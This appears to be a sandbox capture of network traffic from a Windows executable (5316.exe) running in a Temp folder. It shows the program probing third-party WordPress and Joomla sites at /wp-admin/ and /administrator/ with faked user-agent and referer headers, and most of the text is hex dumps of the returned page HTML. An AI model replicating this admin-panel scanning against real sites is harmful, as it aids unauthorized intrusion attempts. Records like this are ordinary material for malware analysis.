2023-12-20 02:13:27 UTC	16384	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 67 65 6f 72 67 65 74 6f 77 6e 2d 68 6f 6d 65 73 2d 34 30 30 30 30 30 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 47 65 6f 72 67 65 74 6f 77 6e 20 48 6f 6d 65 73 20 24 34 30 30 2c 30 30 30 20 41 6e 64 20 55 70 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f Data Ascii: tps://www.texasopendoor.com/georgetown-homes-400000/"><span class="menu-item-subcat-title">Georgetown Homes $400,000 And Up</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-o
2023-12-20 02:13:27 UTC	16384	IN	Data Raw: 2f 72 6f 75 6e 64 2d 72 6f 63 6b 2d 77 61 74 65 72 66 72 6f 6e 74 0d 0a 35 62 34 63 0d 0a 2d 68 6f 6d 65 73 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 57 61 74 65 72 66 72 6f 6e 74 20 48 6f 6d 65 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 38 32 34 22 3e 0a 20 20 20 Data Ascii: /round-rock-waterfront5b4c-homes/"><span class="menu-item-subcat-title">Waterfront Homes</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-object-page menu-item-7824">
2023-12-20 02:13:27 UTC	7025	IN	Data Raw: 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 63 61 6c 6c 62 61 63 6b 22 20 76 61 6c 75 65 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 69 64 3d 22 6c 6f 67 69 6e 2d 77 2d 67 6f 6f 67 6c 65 22 20 64 61 74 61 2d 61 63 74 69 6f 6e 3d 22 73 69 67 6e 2d 69 6e 2d 67 6f 6f 67 6c 65 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 64 65 66 61 75 6c 74 20 62 74 6e 2d 6c 67 22 20 68 72 65 66 3d 22 23 22 20 74 69 74 6c 65 3d 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 47 6f 6f 67 6c 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 67 6f 6f Data Ascii: nput type="hidden" name="callback" value="https://www.texasopendoor.com/administrator/"> <a id="login-w-google" data-action="sign-in-google" class="btn btn-default btn-lg" href="#" title="Sign In with Google"><span class="fa fa-goo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	56859	66.96.160.139	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	220	OUT	GET /wp-admin/ HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://ads-ecuador.com/wp-login.php
2023-12-20 02:13:26 UTC	222	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0
2023-12-20 02:13:26 UTC	867	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	56997	104.21.20.204	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	224	OUT	GET /administrator/ HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://majormega.com/administrator/
2023-12-20 02:13:26 UTC	738	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://majormega.com/wp-json/>; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=brI84dNrQn4OB0z%2BtLrlcBpGq0HC9140dbzYvXVwGouSkakBGByqCS7%2B%2F2%2BsEntsRlMsd8HWsJlqhl3aeXn5ZCyZsPEDHX2BpWYGWaApNcxDUossb8sJpc%2FdILTMszmH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845db79f4b334d-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:26 UTC	631	IN	Data Raw: 31 64 38 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 77 65 62 66 6c 6f 77 70 61 67 65 69 64 22 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 35 64 30 33 62 36 33 31 33 30 31 31 38 33 66 36 36 30 36 32 35 37 63 64 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 56 69 72 74 75 61 6c 20 52 65 61 6c 69 74 79 20 41 74 74 72 61 63 74 69 6f 6e 73 20 2d 20 4d 61 6a 6f 72 4d 65 67 61 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 57 65 20 63 6f 6d 62 69 6e 65 20 56 52 2c 20 6d 6f 74 69 6f 6e 20 73 69 6d 6c 75 61 74 69 6f 6e 20 61 6e 64 20 65 6e 76 69 72 6f 72 6e 6d 65 6e 74 61 6c 20 65 66 66 65 Data Ascii: 1d80<!DOCTYPE html><html data-wf-page="webflowpageid" data-wf-site="5d03b631301183f6606257cd"><head><meta charset="utf-8"><title>Virtual Reality Attractions - MajorMega</title><meta content="We combine VR, motion simluation and envirornmental effe
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 76 6a 65 31 6f 64 7a 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 54 79 70 65 6b 69 74 2e 6c 6f 61 64 28 29 3b 7d 63 61 74 63 68 28 65 29 7b 7d 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 Data Ascii: <meta content="width=device-width, initial-scale=1" name="viewport"><script src="https://use.typekit.net/vje1odz.js" type="text/javascript"></script><script type="text/javascript">try{Typekit.load();}catch(e){}</script>... [if lt IE 9]><script src="ht
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6d 61 6a 6f Data Ascii: omments/feed/" /><script>window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/majo
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 5c 75 64 38 33 63 5c 75 64 66 66 62 5c 75 32 30 30 62 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5c 75 64 66 66 66 22 29 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 3f 6e 65 77 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c 79 3a 21 30 7d 29 2c 6f 3d 28 61 Data Ascii: \ud83c\udffb\u200b\ud83e\udef2\ud83c\udfff")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 65 29 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 3d 3d 74 26 26 28 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 29 3b 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 Data Ascii: unction(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExcep
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 69 6c 64 2f 61 63 74 69 76 65 2d 66 69 6c 74 65 72 73 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 61 64 64 2d 74 6f 2d 63 61 72 74 2d 66 6f 72 6d 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 61 64 64 2d 74 6f 2d 63 61 72 74 2d 66 6f 72 6d 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e Data Ascii: ild/active-filters.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-style-add-to-cart-form-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/add-to-cart-form.css?ver=10.6.5" media="all" />
2023-12-20 02:13:26 UTC	84	IN	Data Raw: 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 63 61 74 61 6c 6f 67 2d 73 6f 72 74 69 6e 67 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0d 0a Data Ascii: e/packages/woocommerce-blocks/build/catalog-sorting.css?ver=10.6.5" media="all" />
2023-12-20 02:13:26 UTC	212	IN	Data Raw: 63 65 0d 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0d 0a Data Ascii: ce<link rel="stylesheet" id="wc-blocks-style-customer-account-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/customer-account.css?ver=10.6.5" media="all" />
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 33 66 39 37 0d 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 66 65 61 74 75 72 65 64 2d 63 61 74 65 67 6f 72 79 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 66 65 61 74 75 72 65 64 2d 63 61 74 65 67 6f 72 79 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 Data Ascii: 3f97<link rel="stylesheet" id="wc-blocks-style-featured-category-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/featured-category.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-sty
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 70 72 6f 64 75 63 74 2d 63 61 74 65 67 6f 72 69 65 73 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 70 72 6f 64 75 63 74 2d 69 6d 61 67 65 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 70 72 6f 64 75 63 74 2d 69 6d 61 67 65 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 Data Ascii: ce-blocks/build/product-categories.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-style-product-image-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-image.css?ver=10.6.5" medi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	56818	34.133.154.140	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	171	OUT	GET / HTTP/1.1 Host: hildebrandproject.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79419 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Link: <https://hildebrandproject.org/wp-json/>; rel="https://api.w.org/" Link: <https://hildebrandproject.org/wp-json/wp/v2/pages/4>; rel="alternate"; type="application/json" Link: <https://hildebrandproject.org/>; rel=shortlink X-TEC-API-VERSION: v1 X-TEC-API-ROOT: https://hildebrandproject.org/wp-json/tribe/events/v1/ X-TEC-API-ORIGIN: https://hildebrandproject.org X-Powered-By: WP Engine X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 1 X-Cache-Group: normal
2023-12-20 02:13:26 UTC	15604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 20 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d Data Ascii: <!DOCTYPE html><html lang="en-US"><head ><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><!-
2023-12-20 02:13:26 UTC	16384	IN	Data Raw: 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 Data Ascii: : var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !i
2023-12-20 02:13:26 UTC	16384	IN	Data Raw: 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 3f 73 3d 7b 73 7d 22 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 2d 61 72 65 61 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 22 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2d 6c 69 6e 6b 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 36 34 36 22 20 68 65 69 67 68 74 3d 22 31 34 36 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 31 2f 30 38 2f 63 72 6f 70 70 65 64 Data Ascii: ndproject.org/?s={s}"></form></div><div class="title-area"><a href="https://hildebrandproject.org/" class="custom-logo-link" rel="home" aria-current="page"><img width="646" height="146" src="https://hildebrandproject.org/wp-content/uploads/2021/08/cropped
2023-12-20 02:13:26 UTC	16384	IN	Data Raw: 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 33 36 78 31 38 2e 70 6e 67 20 33 36 77 2c 20 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 30 2f 48 69 6c 64 65 62 72 61 6e 64 5f 52 65 73 69 64 65 6e 63 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 34 38 78 32 33 2e 70 6e 67 20 34 38 77 22 20 73 69 7a 65 73 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 29 20 31 30 30 76 77 2c 20 38 30 30 70 78 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 67 72 69 64 2d 74 65 78 74 22 3e 3c 68 65 61 64 65 72 20 63 6c Data Ascii: y_Picnic_07_12_2023_0142-36x18.png 36w, https://hildebrandproject.org/wp-content/uploads/2023/10/Hildebrand_Residency_Picnic_07_12_2023_0142-48x23.png 48w" sizes="(max-width: 800px) 100vw, 800px" /></a></div><div class="gb-block-post-grid-text"><header cl
